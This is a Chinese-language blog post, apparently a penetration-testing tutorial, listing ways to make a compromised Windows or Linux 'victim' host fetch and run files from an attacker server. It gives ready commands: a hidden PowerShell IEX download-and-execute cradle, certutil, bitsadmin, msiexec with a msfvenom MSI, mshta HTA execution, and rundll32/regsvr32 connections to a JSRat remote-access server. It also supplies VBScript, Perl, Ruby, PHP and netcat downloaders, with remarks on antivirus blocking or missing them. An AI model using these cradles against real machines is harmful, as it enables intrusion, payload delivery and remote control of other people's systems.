郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

我知道上篇文章没有写完,但是把看到什么学什么,要终结的嘛你说是吧(ps:后续有其他方法也会更新到这里的

img

Windows

命令行自带工具

PowerShell

PowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上,接受并返回.NET对象,这从根本上的改变引入了全新的自动化工具和方法。

远程下载文件到本地:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.183.138:8000/test.txt','test.exe')

image-20200711233252456

直接把文本转换为exe文件运行,无残留文件

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.138:8000/test.txt'))"

image-20200711233807215

可以发现执行了,火绒都跑出来了23333

certutil

certutil.exe是一个命令行程序,作为证书服务的一部分安装,你可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。

可以借助certutil来实现远程下载文件到本地:

certutil -urlcache -split -f http://192.168.183.138:8000/test.txt test.exe

image-20200711234529773

Bitsadmin

BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度,自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。

可以通过在目标主机上执行以下命令来实现远程文件下载:

bitsadmin /transfer n http://192.168.183.138:8000/test.txt F:\ascotbe\test.ext

image-20200711234735873

FTP

FTP(File Transfer Protocol,文件传输协议)是TCP/IP 协议组中的协议之一。FTP协议包括两个组成部分,其一为FTP服务器,其二为FTP客户端,其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。

首先利用FileZilla来搭建个服务器

image-20200712000827946

在目标主机上远程下载test.txt文件

image-20200712001918698

msiexec

msiexec是windows自带的cmd工具,支持远程下载功能,攻击者可以将msi文件上传到服务器并执行,下面通过一个实例做演示说明,首先我们通过msfvenom来构造一个恶意的msi程序(这里以弹计算器为例,在实战中可以根据需要进行修改),并启动一个简易

制作服务:

image-20200712002447041

然后运行命令

msiexec /q /i http://192.168.183.138:8000/ascotbe.msi

image-20200712002628204

还是把火绒给关了不然直接给我拦截了

image-20200712002748059

mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,例如在本地创建以下hta文件:

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c calc.exe" // 待执行的命令
self.close
</script>
<body>
Demo
</body>
</HEAD>
</HTML>

然后在受害机器上执行

mshta  http://192.168.183.138:8000/ascotbe.hta

image-20200712003050771

这里说一句,火绒没拦截??????有点意思

也可以用MSF或者CS生产hta文件,直接受害者机器执行就能上线

rundll32

Rundll32.exe功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件", 其命令行下的使用方法为:Rundll32.exe DLLname,Functionname Arguments,其中DLLname为需要执行的DLL文件名,Functionname为前边需要执行的DLL文件的具体引出函数,Arguments为引出函数的具体参数。

两篇讲解关于rundll32.exe利用的文章,挺好用的

https://3gstudent.github.io/3gstudent.github.io/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8rundll32%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%88%86%E6%9E%90/
http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/

使用JSRat来做演示,项目地址:https://github.com/Hood3dRob1n/JSRat-Py

使用命令如下命令来开启服务

python JSRat.py -i 192.168.183.138 -p 8023

image-20200712004212163

然后访问http://192.168.183.138:8023/wtf这边有教你怎么用

image-20200712004339053

执行完命令可以看到目标已经连上了

image-20200712004613488

注意:这边powershell运行会报错,需要使用cmd才行

regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,我们可以通过该命令来实现远程文件下载

搭建服务方式和上面的一样,然后还是访问那个URL

image-20200712005441738

执行这个命令

image-20200712005501136

可以看到直接连上了

VisualBasic

自1998年以来,Visual Basic的最终版本已在Windows计算机上成为标准配置。以下脚本可以下载您选择的文件。但是,该脚本比PowerShell脚本大得多。

把这段代码写到文本里面然后保存为vbs后缀

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.183.138:8000/asctobe.hta",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "F:\ascotbe\ascotbe.hta",2 '保存在哪里
wscript.sleep 1000
Shell.Run ("F:\ascotbe\ascotbe.hta") '延迟过后执行下载文件

然后运行命令执行他

wscript .\test.vbs

image-20200712124235161

还是主要下载exe文件,运行的话比较方便

Linux

Perl

Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载

把下面代码保存为test.pl

#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://192.168.1.7:8000/ascotbe.hta","test.hta");

然后运行

perl test.pl

image-20200712134650144

第三方软件

Windows/Linux通用

Wget

wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。“wget” 这个名称来源于 “World Wide Web” 与 “get” 的结合。

直接下载服务器下的文件

wget http://192.168.183.138:8000/test.txt
curl

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl。

curl http://192.168.183.138:8000/test.txt -o evil.exe
ncat

nc是一款安全工具,它还有其他的名字 Netcat, Ncat 可用来做端口扫描,端口转发,连接远程系统等。

服务器运行

nc -lvp 8023 < ascotbe.exe

受害机器下载运行

nc  192.168.183.138 8023 > ascotbe.exe
Python

Python是目前很受欢迎的主流脚本语言,这个的话直接用request请求然后获取数据保存为XXX.txt文件即可

Ruby

当目标主机内安装了Ruby时

把文件保存为test.rb,使用的是默认80端口

#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.183.142") { |http|
r = http.get("/ascotbe.sh")
open("test.sh", "wb") { |file|
file.write(r.body)}}

然后运行

ruby test.rb

image-20200712135455650

PHP

当目标主机内安装了PHP时

把下面代码保存为test.php

<?php
$data = @file("http://192.168.183.142/ascotbe.sh");
$lf = "test.sh";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>

然后运行

php test.php

image-20200712135856567

仅限windows

Notepad

如果你有权限接入一台(远程连接或者物理机)电脑,但是当前用户权限不允许打开浏览器,但是目标主机有安装notepad那么可以下载保存运行一部到位

首先点击这个

image-20200712010411814

然后这个位置输入WEB连接

image-20200712010547770

可以看到这个

image-20200712010620333

当然windows自带的notepad.exe也是一样可以打开远程文件的,用法也是一样

image-20200712122006652

打开如下

image-20200712122029596

仅限Linux

Axel

这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。

安装

apt-get install axel 

下载

axel http://192.168.1.7:8000/ascotbe.hta

image-20200712125416896

Aria2

这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。

安装

apt-get install aria2 

下载

aria2c http://192.168.1.7:8000/ascotbe.hta

image-20200712130640141

参考文章

https://linux.cn/article-7369-1.html
https://blog.netspi.com/15-ways-to-download-a-file/
https://xz.aliyun.com/t/7937